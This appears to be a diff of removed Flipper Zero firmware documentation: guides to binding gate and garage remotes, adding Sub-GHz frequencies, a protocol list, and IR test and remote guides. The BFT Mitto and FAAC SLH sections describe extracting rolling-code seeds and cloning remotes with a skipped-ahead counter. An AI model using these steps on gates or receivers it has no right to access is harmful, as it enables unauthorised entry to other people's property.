### Also many supported systems can be used only from `Read` mode, `Add Manually` is used only to make new remotes that can be binded with receiver
## FAAC SLH (NEW!)
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> FAAC SLH (select your frequency)
2. Open your new remote file
3. Open your receiver box, find programming button on the receiver board.
4. Hold Up arrow button on the flipper to send programming signal - at same time press and hold programming button on the receiver board.
5. Led on the receiver board will light on, then off, then on, then off again then on again
6. Release all buttons
7. Press send button on the flipper couple times holding it for 1-3 seconds
8. Done!
Watch this video to learn more : https://www.youtube.com/watch?v=NfZmMy37XUs
...
How to get Seed value from your original remote or bind new remote using existing (master) remote?
1. Go to SubGHz -> Read - Select frequency 868.35 or 433.92 and modulation AM650
2. Hold two buttons on the original master remote until led turns on
3. Click one button that you want to get seed from (Seed is unique for each button on original remote!)
4. You will get signal in the read screen on flipper, open that and see your original remote seed for button you used
5. You can create new remote using that seed and bind that to receiver without opening the box! Faac has procedure that allows to bind new remotes using master remote, you can use flipper for that
6. Go to SubGHz -> Add Manually -> FAAC SLH Man. (your Freq)
7. Enter those values -> REPLACE `R` with any random digits like 1,2,3..
FIX -> A0 RR RR R6
COUNTER -> 00 00 02
SEED -> Your seed from the remote button you got earlier
8. Flipper will act as new remote, press Send button couple times near the receiver to register new remote
9. Done!
## Dea Mio
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Dea Mio 433Mhz
2. Open your new remote file
3. Right arrow button on the flipper simulates press of hidden button in original remote
4. Send button simulates one of basic buttons of the remote, can be programmed into the receiver
5. Follow manufacturer instructions on new remotes programming
## AN-Motors AT4
**This instruction for older boards, if your has no** `Learn` **button but has buttons** `F`, `CL`, `+`, `-` **read instruction from Alutech AT4N**
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> AN-Motors AT4 433Mhz
2. Open your new remote file
3. Open your receiver box, find button `Learn` click it one time, led will turn on.
4. Press `Send` on your flipper one time, led on receiver board will turn off.
5. Press `Send` on your flipper again, led on receiver will start flashing, wait couple seconds until led turns off.
6. Done
Watch this video to learn more (video in Russian language): https://www.youtube.com/watch?v=URVMtTELcnU
## Alutech AT4N (AN-Motors)
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Alutech AT4N 433Mhz
2. Open your new remote file
3. Open your receiver box, find button `F` press it for ~3sec, display will show `Pr`.
4. Click `F` button couple times until you see `Lr` on screen
5. Using buttons `+` / `-` select free number that has no remotes in it (if it has remote programmed on that number, it will show a red dot on the down right corner)
6. Press `Send` on your flipper one time, display on receiver board will flash and red dot will appear next to remote number.
7. Press button `F` on receiver board for ~3sec to exit programming mode
8. Done
Watch this video to learn more and see how different boards can be programmed (video in Russian language): https://www.youtube.com/watch?v=XrOVVYhFXDg
## Aprimatic TR
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Aprimatic 433Mhz
2. Open your new remote file
3. Push all 4 buttons at same time on your existing remote thats already works with receiver
4. Receiver makes a continuous beep
5. Press `Send` on your flipper for ~2 seconds
6. Wait until receiver stops beeping
7. Done?
## Doorhan
With access to the receiver box:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Doorhan 433Mhz or 315Mhz depends on your receiver (find out by reading your existing remote or follow guide below)
- Finding frequency
There are 2 frequencies for DoorHan: 315.00 / 433.92. To determine them it is enough to create a DoorHan remote control with one of the frequencies via Sub-GHz -> Add manually, press the button and watch the receiver's reaction. If you have guessed the frequency, the light bulb will turn on when we press the button on the FZ and turn off when we release it.
2. Binding the remote control
Once you have access to the receiver (removed the protective cover), look at the buttons:
- If there are 4 buttons (Radio, Reverse, Auto, ...) then press and hold Radio until the LED lights up, then press the FZ button 2 times and the LED goes out;
- If there are 4 buttons (R, P, +, -) and display, press R, then press 2 times the button on FZ and wait +/- 10 seconds;
- If there are 4 buttons (+, -, F, TR) and display, press TR, then press 2 times the button on FZ and wait +/- 10 seconds;
- In other cases there is a “universal” instruction: Press and hold the button “P” +/- 2 seconds until the LED flashes, then press 2 times the button on the FZ and the LED goes out.
In all cases it is recommended to wait until the receiver returns to normal mode.
With existing remote:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Doorhan 433Mhz or 315Mhz depends on your receiver (find out by reading your existing remote)
2. Open your new remote file
3. For next steps be close to the receiver board, around 1-2 meters
4. Press second button (lowest one) on the old remote, do not release second button and press 1st (upper) button, hold buttons for 1 sec and release them
5. Press working button on the old remote (the button you use for operating the receiver, aka opening the gate, etc) hold for 1 sec and release
6. Actions with old remote must be done in 5 seconds time, do not hold buttons for too long, and do not make it very fast
7. Receiver will beep, you will have 10 seconds to add new remote, now press Send on new remote on flipper two times holding for at least 1 sec
8. Receiver will beep again telling that new remote is added sucessfuly!
9. Done!
With copy of existing remote on flipper:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Doorhan 433Mhz or 315Mhz depends on your receiver (find out by reading your existing remote)
2. Open your existing remote (original) file
3. For next steps be close to the receiver board, around 1-2 meters
4. Press left button (0x8) on the flipper, hold for 1 sec and release the button and press right (0xA) button, hold button for 1 sec and release
5. Press working button on the flipper, should be center one aka Send (the button you use for operating the receiver, aka opening the gate, etc) hold for 1 sec and release
6. Actions with original remote copy must be done in 5 seconds time, do not hold buttons for too long, and do not make it very fast
7. Receiver will beep, now hold back and open new remote file, you will have 10 seconds to add new remote, press Send on new remote on flipper two times holding for at least 1 sec
8. Receiver will beep again telling that new remote is added sucessfuly!
9. Done!
Watch this videos to learn more (videos in Russian language): https://www.youtube.com/watch?v=wZ5121HYv50 / https://www.youtube.com/watch?v=1ucrDKF3vWc
## Somfy Telis
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Somfy Telis 433Mhz
2. Open your new remote file
3. Long press (hold) the Prog button on a remote that is already registered to the device, until the blinds move shortly up and down.
4. Press and hold the Prog button on the flipper (Left Arrow), until the blinds move shortly up and down again.
5. Done?
## BFT Mitto
How to create new remote and bind it to receiver (will not conflict with original remotes):
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> BFT Mitto 433Mhz
2. Open your new remote file
3. You need to be in minimum 3 meters to receiver
4. Original Remote: Press hidden button on back of remote with a pin or paper clip OR press Button 1 & 2 together until remote LED lights.
5. Original Remote: Momentarily press button that opens device
6. Long press (Right Arrow) - (0xF button - Btn:F) on Flipper for like 3-5 sec
7. Press the button you want to bind to open the device on the flipper
8. Press (Right Arrow) - (0xF button - Btn:F) again
9. Done?
OR
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> BFT Mitto 433Mhz
2. Open your new remote file
3. Open your receiver board box
4. **Watch this video**: https://www.youtube.com/watch?v=5QXMBKI_-Ls
5. Long press (Right Arrow) - (0xF button - Btn:F) on Flipper for like 3-5 sec -> Will act like holding Button 1 & 2 on original remote as shown on video
6. Done?
--
How to get seed to make full clone of your remote (**will conflict with original remote!!!!!**):
**WARNING!!!! This method can desync your original remote, please avoid using it! It can be used in rare cases like when your remote works poorly or has broken buttons and you want to replace it with flipper**
1. Open `Read` in SubGHz on your flipper
2. (ONLY FOR ORIGINAL REMOTES) Hold all buttons on your remote at same time, example -> for 2 button remote - press them both at same time and hold OR press hidden button on back of remote with a pin or paper clip
For 4 buttons remote press & hold two buttons at upper row
3. You will receive signal on your flipper, open that signal and see `Fix:` value, it should start from `F` like `F00F1C9B`
4. If `Fix:` is showing first `F` see `Hop:` value -> This is your remote Seed (except first digit `F` (this is the button code, aka programming button pressed means `F`))
5. Write down Hop value and replace first digit - `F` with `0`
6. Press button on your remote that you want to clone and receive its signal on your flipper
7. Open and write down `Fix:` value where first digit will be same as your button ID `Btn:`
8. Create new remote using BFT Mitto [Manual] - Enter FIX from step 7, enter counter `FF F9`, enter seed from step 5
9. Using counter values like `FF F9` can help bypassing current original remote counter value, and in result it also can fully desync original remote, only one remote can work at same time using this method
10. Also you can do this: Save your signal of the original remote (will say KL: Unknown),
then copy file to the PC and edit it and insert/replace those values after the `Key: 01 23 45 67 89 AB CD EF` (your key will have different value)
```
Seed: 0X XX XX XX
Manufacture: BFT
```
Replace `X`'s with digits from your Seed that you obtained by reading two button hold at the first steps,
Save and copy that file back to the flipper
Now you will have exact clone of your remote that will have same counter, by making couple presses you will make it higher than original and receiver will work with it, but original remote will reguire same amount of presses to work again, and vice versa.
11. Also your original remote may become non working since it needs to be re-added into receiver board if you made counter much higher than original :C
## CAME Atomo
Known names are: TOP42R / TOP44R - TOP44RGR (806TS-0130)
How to create new remote and bind it to receiver (will not conflict with original remotes):
With original remote (or copy of the original remote):
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> CAME Atomo 433MHz or 868MHz
2. Open your new remote file
3. You need to be in minimum 3 meters to receiver
4. Original Remote: Press and hold button that is bound with that receiver (the one you use with it), and hold it for about 10 seconds.
5. You will have about 20 seconds to add new remote
6. Long press Send on Flipper in new remote for like 3-4 sec and release - this will add new remote to the receiver
7. Press and hold Send again after waiting 20 seconds - this will trigger the receiver
8. Done, when using CAME Atomo from flipper please hold Send button for at least 2 seconds to allow code to be fully transmit, flipper transmits only while button is held
Note: Static 24/12 bit or TWEE remotes cannot trigger programming mode in the receiver and cannot be bound if programming mode was triggered by Atomo type remote, only Atomo remotes can be added if remote programming was done by Atomo remote, Static remotes have option to clone from one remote to another, but it requires first remote to be added to the receiver via button on the receiver board
With access to receiver box:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> CAME Atomo 433MHz or 868MHz
2. Open your new remote file
3. Open the receiver box and find programming button related to the used channel, for example RE432M/RE862M receiver has two independent channels which can have different remotes / buttons on them, when you found connected channel press "1" or "2" button on the receiver board to enter programming mode
4. Long press Send on Flipper new remote for like 3-4 sec and release - this will add new remote to the receiver
5. Click CLEAR button one time on the receiver board to exit programming mode, or wait about 20 seconds it will exit from programming mode automatically
6. Done, when using CAME Atomo from flipper please hold Send button for at least 2 seconds to allow code to be fully transmit, flipper transmits only while button is held
Watch this video to learn more (video in Russian language): https://www.youtube.com/watch?v=XeHUwfcSS30
## Nice Flor S
- Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Nice FloR-S 433Mhz
- Open your new remote file
### Coding using an existing remote
To enter the code of a new remote control without using your receiver, you will need
an authorised remote control (note: the first remote control must always be entered
using the receiver key). Now, with the two remote controls (your already coded
remote, and your new remote), which we shall call NEW (the one whose code we want
to enter) and OLD (the authorised one), position yourself within 3m of the gate/garage
receiver and then:
1. Press and hold the `Send` button on the flipper for at least 5 seconds and then
release.
2. Press the button on the already programmed remote 3 times slowly.
3. Press the `Send` button on the flipper slowly and then release.
### Coding directly to your receiver
Your new remote will program to your receiver as per your original remote
instructions, so please refer to your manual. But for a typical NICE FLOX2R Receiver,
the programming procedure is as follows:
1. Press the learning button on your receiver for 1-2 seconds. The LED will turn on
for 5 seconds. Within 5 seconds, complete the next step.
2. Press a `Send` button on your flipper until the LED on your receiver turns off.
3. Release the remote button and wait for 2 seconds.
4. Press the `Send` button on your flipper again. The LED on your receiver
will now flash 3 times. This indicates that your remote has been successfully
coded. If this does not happen, repeat the whole procedure from the
beginning, and try again.
5. Wait 5 seconds. Press the button on your new remote to test if it opens your
garage/gate.
#### Follow links below to find more detailed instructions!!!
#### Materials used:
- [FAAC SLH](https://www.youtube.com/watch?v=NfZmMy37XUs)
- [Somfy Telis](https://pushstack.wordpress.com/somfy-rts-protocol/)
- [BFT Mitto](https://www.retroremotes.com.au/wp-content/uploads/2017/03/BFT-MITTO-2-4-19-6-17.pdf)
- [NICE FLOX2R Receiver Programming](https://apollogateopeners.com/store/pdf/apollo-flor-s-receiver-programming-guide.pdf)
- [Nice Flor S Programming](https://motepro.com.au/Instructions/Nice.pdf)

View File

@@ -1,110 +0,0 @@
## How to add new SubGHz frequencies
#### CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz (+ 350MHz and 467MHz was added to default range)
Edit user settings file located on your microSD card - `subghz/assets/setting_user` (remove .example from name to use config)
in this file you will find we already have extra frequencies added
if you need your custom one, make sure it doesn't listed here
### Default frequency list
```
/* 300 - 348 */
300000000,
302757000,
303000000,
303875000,
303900000,
304250000,
307000000,
307500000,
307800000,
309000000,
310000000,
312000000,
312100000,
312200000,
313000000,
313850000,
314000000,
314350000,
314980000,
315000000,
318000000,
320000000,
320150000,
330000000,
345000000,
348000000,
350000000,
/* 387 - 464 */
387000000,
390000000,
418000000,
430000000,
430500000,
431000000,
431500000,
433075000, /* LPD433 first */
433220000,
433420000,
433657070,
433889000,
433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */
434075000,
434176948,
434190000,
434390000,
434420000,
434620000,
434775000, /* LPD433 last channels */
438900000,
440175000,
462750000,
464000000,
467750000,
/* 779 - 928 */
779000000,
868350000,
868400000,
868460000,
868800000,
868950000,
906400000,
915000000,
925000000,
928000000,
```
### User frequencies added AFTER that default list! You need to continue until you reach the end of that list
### If you want to disable default list and use ONLY user added frequencies from user settings file
Change that line
`#Add_standard_frequencies: true`
to
`Add_standard_frequencies: false`
**You need to have custom frequencies added in both lists! in main frequency list and in hopping list! Replacing only hopping freqs will not work with that setting set on false, you need to add something in main list since it will be empty**
### To add your own frequency to user list
Just add new line
`Frequency: 928000000` - where `928000000` is your frequency, keep it in that format! it should be 9 digits!
### Hopper frequency list
To add new frequency to hopper:
add new line `Hopper_frequency: 345000000`<br>
But remember! You should keep it as small as possible, or hopper functionality would be useless!<br>
If `#Add_standard_frequencies: true` is not changed<br>
Your frequencies will be added after default ones
### Default hopper list
```
315000000,
390000000,
430500000,
433920000,
434420000,
868350000,
```

View File

@@ -1,180 +0,0 @@
# Sub-GHz Supported Protocols
This file lists all supported Sub-GHz protocols available in Unleashed Firmware, both tested and untested.
That list is only for default SubGHz app, apps like *Weather Station* have their own protocols list
## Static & Dynamic protocols list
*433 MHz usually means `433.92MHz` and 868 MHz = `868.35MHz`*
*If you see no frequency after protocol name, that means we don't know it, let us know in issues tab!*
*`AM650`, `FM`, `FSK476` - means modulation to use when reading the remote*
*`FM` means you should try any existing FM modulations, `FSK???` means `FM???` in SubGHz - Read - Config*
### Garage Door Openers & Gate Openers (Boom barriers, roller shutters, etc.)
- Alutech AT-4N `433.92MHz` `AM650` (72 bits, Dynamic)
- AN-Motors (Alutech) AT4 `433.92MHz` `AM650` (64 bits, Pseudo-Dynamic, KeeLoq based)
- Ansonic `433MHz` `FM` (12 bits, Static)
- BETT `433.92MHz` `AM650` (18 bits, Static)
- Beninca ARC (TOGO2VA) `433.92MHz` `AM650` (128 bits, Dynamic AES) (button code `0` emulates `hidden button` option on the remote)
- BFT Mitto `433.92MHz` `AM650` (64 bits, Dynamic, KeeLoq based with Seed)
- CAME Atomo `433.92MHz, 868MHz` `AM650` (62 bits, Dynamic)
- CAME TWEE `433.92MHz` `AM650` (54 bits, Static)
- CAME `433.92MHz, 868MHz` `AM650` (12, 24 bits, Static)
- Prastel `433.92MHz, 868MHz` `AM650` (25, 42 bits, Static)
- Airforce `433.92MHz, 868MHz` `AM650` (18 bits, Static)
- Chamberlain Code `AM650` (10 bits, Static)
- Clemsa `AM650` (18 bits, Static)
- Dickert MAHS `AM650` (36 bits, Static)
- Doitrand `AM650` (37 bits, Dynamic)
- Elplast/P-11B/3BK/E.C.A `433MHz` `AM650` (18 bits, Static)
- FAAC SLH `433.92MHz, 868MHz` `AM650` (64 bits, Dynamic)
- Gate TX `433.92MHz` `AM650` (64 bits, Static)
- Hormann `868MHz` `AM650` (44 bits, Static)
- HCS101 `AM650` (64 bits, Simple Dynamic, KeeLoq-like)
- IDO `433MHz` `AM650` (48 bits, Dynamic)
- KingGates Stylo 4k `433.92MHz` `AM650` (89 bits, Dynamic, KeeLoq based)
- Mastercode `AM650` (36 bits, Static)
- Megacode `AM650` (24 bits, Static)
- Nero Sketch `AM650` (40 bits, Static)
- Nice Flo `433.92MHz` `AM650` (12, 24 bits, Static)
- Nice FloR-S `433.92MHz` `AM650` (52 bits, Dynamic)
- Nice One `433.92MHz` `AM650` (72 bits, Dynamic)
- Revers RB2 (Реверс РБ-2 (М)) `433.92MHz` `AM650` (64 bits, Static)
- Roger `433.92MHz` `AM650` (28 bits, Static)
- V2 Phoenix (Phox) `433.92MHz` `AM650` (52 bits, Dynamic) (receivers have option to enable Static mode, making them ignore rolling part of the key)
- Marantec `433.92MHz, 868MHz` `AM650` (49 bits, Static)
- Marantec24 `868MHz` `AM650` (24 bits, Static)
- Somfy Keytis `433.92MHz, 868MHz` `AM650` (80 bits, Dynamic)
- ZKTeco `430.5MHz` `AM650` (24 bits, Static - Princeton based) - (Button codes (already mapped to arrow keys): `0x30 (UP)`, `0x03 (STOP)`, `0x0C (DOWN)`)
- Linear `300MHz` `AM650` (10 bits, Static)
- Linear Delta3 `AM650` (8 bits, Static)
- Nero Radio `434.42MHz` `AM650` (56 bits, Static mode only, Dynamic is unsupported)
- Security+1.0 `315MHz, 433.92MHz, 390MHz` `AM650` (42 bits, Dynamic)
- Security+2.0 `310MHz, 390MHz, 868MHz` `AM650` (62 bits, Dynamic)
### Sensors & Smart home
- Intertechno V3 `AM650` (32 bits, Static) - Lights, sockets, other.
- Dooya `AM650` (40 bits, Static) - Electric blinds
- Power Smart `AM650` (64 bits, Static) - Blinds, shutters
- Legrand `AM650` (18 bits, Static) - Doorbells
- Somfy Telis `433.92MHz` `AM650` (56 bits, Dynamic)
- Feron `433.92MHz` `AM650` (32 bits, Static) - RGB LED remotes, other.
- Honeywell `AM650` (64 bits, Static) - Alarm, Sensor
- Honeywell WDB `AM650` (48 bits, Static) - Doorbell
- Magellan `433.92MHz` `AM650` (32 bits, Static) - Sensor, alarm
- Jarolift `433.92MHz` `AM650` (72 bits, Dynamic, KeeLoq based) - Automatic roller shutters
### Alarms
- Hollarm `433.92MHz` `AM650` (42 bits, Static) - Bike alarms
- GangQi `433.92MHz` `AM650` (34 bits, Static) - Bike alarms
### Generic any branded remotes
- Holtek `AM650` (40 bits, Static)
- Holtek HT12X `AM650` (12 bits, Static)
- Princeton (PT2262, PT****) `315MHz, 433.92MHz, Any other frequency` `AM650` (24 bits, Static)
- SMC5326 `315MHz, 433.92MHz, Any other frequency` `AM650` (25 bits, Static)
- Hay21 `433.92MHz` `AM650` (21 bits, Dynamic)
- Treadmill37 (QH-433) `433.92MHz` `AM650` (37 bits, Static)
---
## KeeLoq Rolling Code Supported Manufacturers list
KeeLoq is a rolling code encryption system used by many garage door openers and gate systems.
The following manufacturers have KeeLoq support in Unleashed firmware:
*Default value for encryption type "learning" is `simple` and `10bits` for serial part in Hop*
*In case if remote uses other serial bits or different encryption type and it was verified - it will be stated in the end*
### Garage Door Openers & Gate Openers (Boom barriers, roller shutters, etc.)
- Allmatic - `868MHz` `AM650` (KeeLoq, 64 bits) (no serial part in Hop - magic XOR)
- Aprimatic - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial number art in Hop + 2bit "parity" in front of it replacing first 2 bits of serial)
- Beninca - `433.92MHz, 868MHz` `AM650` (KeeLoq, 64 bits) (no serial part in Hop - magic XOR)
- CAME Space - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Cardin S449 - `433.92MHz` `FSK12K` (KeeLoq, 64 bits) (12bit (original remotes) or 10bit (chinese remotes) serial part in Hop - normal learning) (receiver checks for 10bit only (unverified))
- Centurion - `433.92MHz` `AM650` (KeeLoq, 64 bits) (no serial in Hop, uses fixed value 0x1CE - normal learning)
- Comunello - `433.92MHz, 868MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- DEA Mio - `433.92MHz` `AM650` (KeeLoq, 64 bits) (modified serial in Hop, uses last 3 digits modifying first one (example - 419 -> C19) - simple learning)
- DoorHan - 315MHz, `433.92MHz` `AM650` (KeeLoq, 64 bits)
- DTM Neo - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Elmes Poland - `433.92MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- FAAC RC,XT - `433.92MHz, 868MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Genius Bravo - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Gibidi - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- GSN - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Hormann EcoStar - `433.92MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- IronLogic IL-100 - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- IronLogic IL-100 Smart PPult - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- JCM Tech - `433.92MHz` `AM650` (KeeLoq, 64 bits) (8bit serial part in Hop - simple learning)
- Jolly Motors - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- KEY (KeeLoq, 64 bits)
- Monarch - `433.92MHz` `AM650` (KeeLoq, 64 bits) (no serial in Hop, uses fixed value 0x100 - normal learning)
- Motorline - `433.92MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- Mutanco/Mutancode (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Mhouse - `433.92MHz` `AM650` (KeeLoq, 64 bits) (8bit serial part in Hop - simple learning)
- Nice Smilo - `433.92MHz` `AM650` (KeeLoq, 64 bits) (8bit serial part in Hop - simple learning)
- Normstahl - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- Novoferm - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- Sommer `434.42MHz, 868.80MHz` `FSK12K (or FSK476)` (KeeLoq, 64 bits) (normal learning) (TX03-868-4, Pearl, and maybe other models are supported (SOMloq))
- Steelmate - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Stilmatic (R-Tech) - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning) (receiver checks for 10bit only (unverified))
### Alarms, unknown origin, etc.
- APS-1100/APS-2550 (KeeLoq, 64 bits)
- Alligator (KeeLoq, 64 bits)
- Alligator S-275 (KeeLoq, 64 bits)
- Cenmax (KeeLoq, 64 bits)
- Cenmax St-5 (KeeLoq, 64 bits)
- Cenmax St-7 (KeeLoq, 64 bits)
- Faraon (KeeLoq, 64 bits)
- Guard RF-311A (KeeLoq, 64 bits) (normal learning)
- Harpoon (KeeLoq, 64 bits)
- KGB/Subaru (KeeLoq, 64 bits) (magic serial type 1)
- Leopard (KeeLoq, 64 bits)
- Magic 1 (KeeLoq, 64 bits) (magic serial type 2)
- Magic 2 (KeeLoq, 64 bits) (magic serial type 2)
- Magic 3 (KeeLoq, 64 bits) (magic serial type 3)
- Magic 4 (KeeLoq, 64 bits) (magic serial type 3)
- Merlin (KeeLoq, 64 bits) (no serial part in Hop - simple XOR)
- Mongoose (KeeLoq, 64 bits) (normal learning)
- Pantera (KeeLoq, 64 bits)
- Pantera CLK (KeeLoq, 64 bits)
- Pantera XS/Jaguar (KeeLoq, 64 bits)
- Partisan RX (KeeLoq, 64 bits)
- Pecinin (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Reff (KeeLoq, 64 bits)
- Rossi (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Rosh (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Sheriff (KeeLoq, 64 bits)
- SL A2-A4 (KeeLoq, 64 bits)
- SL A6-A9/Tomahawk 9010 (KeeLoq, 64 bits)
- SL B6,B9 dop (KeeLoq, 64 bits)
- Teco (KeeLoq, 64 bits)
- Tomahawk TZ-9030 (KeeLoq, 64 bits)
- Tomahawk Z,X 3-5 (KeeLoq, 64 bits)
- ZX-730-750-1055 (KeeLoq, 64 bits)
*Note: Most KeeLoq manufacturers operate in the 433 MHz and 868 MHz frequency bands with AM650 modulation. Some operate at other frequencies or modulations. Not all KeeLoq systems are supported for full decoding or emulation.*
---
## Protocol Type Reference
Unleashed firmware supports various protocol types:
- **Static Code**: Fixed transmission codes (e.g., Roger, Princeton, Marantec, Revers RB2)
- **Rolling Code (Dynamic) (KeeLoq)**: Dynamic codes with rolling counter using KeeLoq encryption (60+ manufacturer systems supported)
- **Rolling Code (Dynamic)**: Other dynamic systems with custom encoding (e.g., CAME Atomo, Nice Flor S, Somfy Telis, FAAC SLH, Alutech AT-4N, Security+)
For more information on how to use some of these protocols, see also [SubGHzRemoteProg.md](/documentation/SubGHzRemoteProg.md) and the main [ReadMe.md](/ReadMe.md).
---
*Docs made for Unleashed FW, please mention source when copying*

View File

@@ -1,64 +0,0 @@
# Unit tests {#unit_tests}
## Intro
Unit tests are special pieces of code that apply known inputs to the feature code and check the results to see if they are correct.
They are crucial for writing robust, bug-free code.
Flipper Zero firmware includes a separate app called [unit_tests](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests).
It is run directly on Flipper devices in order to employ their hardware features and rule out any platform-related differences.
When contributing code to the Flipper Zero firmware, it is highly desirable to supply unit tests along with the proposed features.
Running existing unit tests is useful to ensure that the new code doesn't introduce any regressions.
## Running unit tests
To run the unit tests, follow these steps:
1. Compile the firmware with the tests enabled: `./fbt FIRMWARE_APP_SET=unit_tests updater_package`.
2. Flash the firmware using your preferred method, including SD card resources (`build/latest/resources`).
3. Launch the CLI session and run the `unit_tests` command.
**NOTE:** To run a particular test (and skip all others), specify its name as the command argument.
Test names match application names defined [here](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/debug/unit_tests/application.fam).
## Adding unit tests
### General
#### Entry point
The common entry point for all tests is the [unit_tests](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests) app. Test-specific code is packaged as a `PLUGIN` app placed in a subdirectory of `tests` in the `unit_tests` mother-app and referenced in the common `application.fam`. Look at other tests for an example.
#### Test assets
Some unit tests require external data in order to function. These files (commonly called assets) reside in the [unit_tests](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests/resources/unit_tests) directory in their respective subdirectories. Asset files can be of any type (plain text, FlipperFormat (FFF), binary, etc.).
### App-specific
#### Infrared
Each infrared protocol has a corresponding set of unit tests, so it makes sense to implement one when adding support for a new protocol.
To add unit tests for your protocol, follow these steps:
1. Create a file named `test_<your_protocol_name>.irtest` in the [assets](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests/resources/unit_tests/infrared) directory.
2. Fill it with the test data (more on it below).
3. Add the test code to [infrared_test.c](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/debug/unit_tests/tests/infrared/infrared_test.c).
4. Build and install firmware with resources, install it on your Flipper and run the tests to see if they pass.
##### Test data format
Each unit test has three sections:
1. `decoder` — takes in a raw signal and outputs decoded messages.
2. `encoder` — takes in decoded messages and outputs a raw signal.
3. `encoder_decoder` — takes in decoded messages, turns them into a raw signal, and then decodes again.
Infrared test asset files have an `.irtest` extension and are regular `.ir` files with a few additions.
Decoder input data has signal names `decoder_input_N`, where N is a test sequence number. Expected data goes under the name `decoder_expected_N`. When testing the encoder, these two are switched.
Decoded data is represented in arrays (since a single raw signal may be decoded into several messages). If there is only one signal, then it has to be an array of size 1. Use the existing files as syntax examples.
##### Getting raw signals
Recording raw IR signals is possible using Flipper Zero. Launch the CLI session, run `ir rx raw`, then point the remote towards the Flipper's receiver and send the signals. The raw signal data will be printed to the console in a convenient format.

View File

@@ -1,76 +0,0 @@
# Universal Remotes {#universal_remotes}
## Televisions
Adding your TV set to the universal remote is quite straightforward. Up to 6 signals can be recorded: `Power`, `Mute`, `Vol_up`, `Vol_dn`, `Ch_next`, and `Ch_prev`. Any of them can be omitted if not supported by your TV.
Each signal is recorded using the following algorithm:
1. Get the remote and point it to Flipper's IR receiver.
2. Start learning a new remote if it's the first button or press `+` to add a new button otherwise.
3. Press a remote button and save it under a corresponding name.
4. Repeat steps 2-3 until all required signals are saved.
The signal names are self-explanatory. Remember to make sure that every recorded signal does what it's supposed to.
If everything checks out, append these signals **to the end** of the [TV universal remote file](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/tv.ir).
## Audio players
Adding your audio player to the universal remote is done in the same manner as described above. Up to 8 signals can be recorded: `Power`, `Play`, `Pause`, `Vol_up`, `Vol_dn`, `Next`, `Prev`, and `Mute`. Any of them can be omitted if not supported by the player.
The signal names are self-explanatory.
On many remotes, the `Play` button doubles as `Pause`. In this case, record it as `Play` omitting the `Pause`.
Make sure that every signal does what it's supposed to.
If everything checks out, append these signals **to the end** of the [audio player universal remote file](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/audio.ir).
## Projectors
Adding your projector to the universal remote is really simple. Up to 4 signals can be recorded: `Power`, `Mute`, `Vol_up`, `Vol_dn`. Any of them can be omitted if not supported by your projector.
To save time, please make sure every recording has been named accordingly.
In case of omitting, on most projectors with the 4 following buttons, you should not have a problem.
## Air conditioners
Air conditioners differ from most other infrared-controlled devices because their state is tracked by the remote.
The majority of A/C remotes have a small display that shows the current mode, temperature, and other settings.
When the user presses a button, a whole set of parameters is transmitted to the device, which must be recorded and used as a whole.
In order to add a particular air conditioner to the universal remote, 6 signals must be recorded: `Off`, `Dh`, `Cool_hi`, `Cool_lo`, `Heat_hi`, and `Heat_lo`.
Each signal (except `Off`) is recorded using the following algorithm:
1. Get the remote and press the **POWER** button so that the display shows that A/C is ON.
2. Set the A/C to the corresponding mode (see table below), leaving other parameters such as fan speed or vane on **AUTO** (if applicable).
3. Press the **POWER** button to switch the A/C off.
4. Start learning a new remote on Flipper if it's the first button or press `+` to add a new button otherwise.
5. Point the remote to Flipper's IR receiver as directed and press the **POWER** button once again.
6. Save the resulting signal under the specified name.
